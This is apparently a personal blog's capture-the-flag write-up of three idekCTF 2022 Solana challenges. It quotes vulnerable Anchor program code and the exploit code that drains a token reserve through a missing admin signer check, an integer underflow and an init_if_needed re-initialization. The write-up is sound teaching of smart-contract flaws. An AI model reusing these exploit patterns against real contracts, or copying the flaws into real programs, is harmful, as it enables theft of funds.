I am writing write-ups of blockchain challenges because it is my goal.
As Otter Sec sponsored IdekCTF, there are three solana challenges.
The CTF was the first time I encountered Solana and Rust.
Considering that even a noob(me) could solve the problem, it can be thought that it was very easy to solve.
I found it interesting that by checking the diff between problems 1, 2, and 3, I was able to find vulnerabilities.
baby blockchain 1
https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-1
Analysis
main.rs
if user_token_account.amount > 200 {
writeln!(socket, "congrats!")?;
if let Ok(flag) = env::var("FLAG") {
writeln!(socket, "flag: {:?}", flag)?;
To gain flag, balance of user_account is greater than 200
Looking into lib.rs, we find two function that has token::transfer.
inside attempt
token::transfer(withdraw_ctx, record.tries as u64)?;
inside deposit
token::transfer(withdraw_ctx, amount)?;
record.tries was initialized by 3 and when called it decreases by 1.
As I thought it is difficult to fill user_account with 200 by attempt, I examined deposit closely.
Root Cause
deposit is a function that sends token ffrom reserve to user.
In reserve, there exists an admin who manage the reserve(maybe?)
Therefore, withdrawing token from the reserve should only be allowd for admin.
However, it execute token::transfer without checking if admin == user
// where is verfication?
pub fn deposit(ctx: Context<Deposit>, amount: u64) -> Result<()> {
let reserve_bump = [*ctx.bumps.get("reserve").unwrap()];
let signer_seeds = [
b"RESERVE",
reserve_bump.as_ref()
];
let signer = &[&signer_seeds[..]];
let withdraw_ctx = CpiContext::new_with_signer(
ctx.accounts.token_program.to_account_info(),
Transfer {
from: ctx.accounts.reserve.to_account_info(),
to: ctx.accounts.user_account.to_account_info(),
authority: ctx.accounts.reserve.to_account_info()
},
signer
);
token::transfer(withdraw_ctx, amount)?;
Ok(())
}
#[derive(Accounts)]
pub struct Deposit<'info> {
#[account(
mut,
seeds = [ b"CONFIG" ],
bump,
has_one = admin
)]
pub config: Account<'info, Config>,
#[account(
mut,
seeds = [ b"RESERVE" ],
bump,
constraint = reserve.mint == mint.key(),
)]
pub reserve: Account<'info, TokenAccount>,
#[account(
mut,
seeds = [b"account", user.key().as_ref()],
bump,
constraint = user_account.mint == mint.key(),
constraint = user_account.owner == user.key(),
)]
pub user_account: Account<'info, TokenAccount>,
pub mint: Account<'info, Mint>,
#[account(mut)]
pub admin: AccountInfo<'info>, // here
#[account(mut)]
pub user: Signer<'info>,
pub token_program: Program<'info, Token>,
pub system_program: Program<'info, System>,
pub rent: Sysvar<'info, Rent>,
}
Solve
// your instruction goes here
let cpi_accounts2 = chall::cpi::accounts::Deposit {
config: ctx.accounts.config.to_account_info(),
reserve: ctx.accounts.reserve.to_account_info(),
user_account: ctx.accounts.user_account.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
admin: ctx.accounts.admin.to_account_info(),
user: ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx2 = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts2);
chall::cpi::deposit(cpi_ctx2, 200 as u64)?;
baby blockchain 2
https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-2
Analysis
main.rs is identical to blockchain-1
The diff result of lib.rs is as follows:
Since admin should be a Signer, it can be considered that vulnerability of baby-blockchain 1 has been fixed.
So we should look at the attempt that contains token::transfer.
Root Cause
lib.rs
Rust is known that it allow user not to overflow and underflow.
Actually, one can avoid that.
https://stackoverflow.com/questions/31215139/how-can-integer-overflow-protection-be-turned-off
When entering, record decreases by 1.
If record is zero, record minus one would be 255
pub fn attempt(ctx: Context<Attempt>) -> Result<()> {
let record = &mut ctx.accounts.record;
msg!("[CHALL] attempt.tries {}", record.tries);
if record.tries > 0 {
let reserve_bump = [*ctx.bumps.get("reserve").unwrap()];
let signer_seeds = [
b"RESERVE",
reserve_bump.as_ref()
];
let signer = &[&signer_seeds[..]];
let withdraw_ctx = CpiContext::new_with_signer(
ctx.accounts.token_program.to_account_info(),
Transfer {
from: ctx.accounts.reserve.to_account_info(),
to: ctx.accounts.user_account.to_account_info(),
authority: ctx.accounts.reserve.to_account_info()
},
signer
);
token::transfer(withdraw_ctx, record.tries as u64)?;
}
record.tries -= 1; // here
Ok(())
}
Solve
for _ in 0..6 {
let cpi_accounts = chall::cpi::accounts::Attempt {
reserve: ctx.accounts.reserve.to_account_info(),
record: ctx.accounts.user_record.to_account_info(),
user_account: ctx.accounts.user_account.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
user: ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::attempt(cpi_ctx)?;
}
baby blockchain 3
https://github.com/idekctf/idekctf2022/tree/main/blockchain/baby-3
Analysis
lib.rs
The vulnerabiltiy of blockchain-2 is fixed!
inside Initialize
init > init_if_needed
inside Deposit
admin and user should be both signer.
Root Cause
inif_init_need's description
https://docs.rs/anchor-lang/latest/anchor_lang/derive.Accounts.html
When using init_if_needed, you need to make sure you properly protect yourself against re-initialization attacks. You need to include checks in your code that check that the initialized account cannot be reset to its initial settings after the first time it was initialized
When constraint of account is init, it cannot be re-initialization.
But, it can be re-initialization with init_if_needed. (re-initialization attack)
By calling initialize, we can change the admin of reserve to user.
Solve
let cpi_accounts = chall::cpi::accounts::Initialize {
config: ctx.accounts.config.to_account_info(),
reserve: ctx.accounts.reserve.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
admin:ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::initialize(cpi_ctx)?;
let cpi_accounts2 = chall::cpi::accounts::Deposit {
config: ctx.accounts.config.to_account_info(),
reserve: ctx.accounts.reserve.to_account_info(),
user_account: ctx.accounts.user_account.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
admin: ctx.accounts.user.to_account_info(),
user: ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx2 = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts2);
chall::cpi::deposit(cpi_ctx2, 201 as u64)?;
'writeups' 카테고리의 다른 글
SUITF (0) | 2023.03.03 |
---|---|
PBCTF 2023 - rev(move VM) (0) | 2023.02.20 |
HackTM CTF Quals 2023 - smart contract(Dragon Slayer, Diamond Heist) (0) | 2023.02.19 |
LA CTF 2023 - pwn(breakup, evmvm, sailor) (0) | 2023.02.13 |
RealWorldCTF 2023 - blockchain(realwrap) (0) | 2023.02.09 |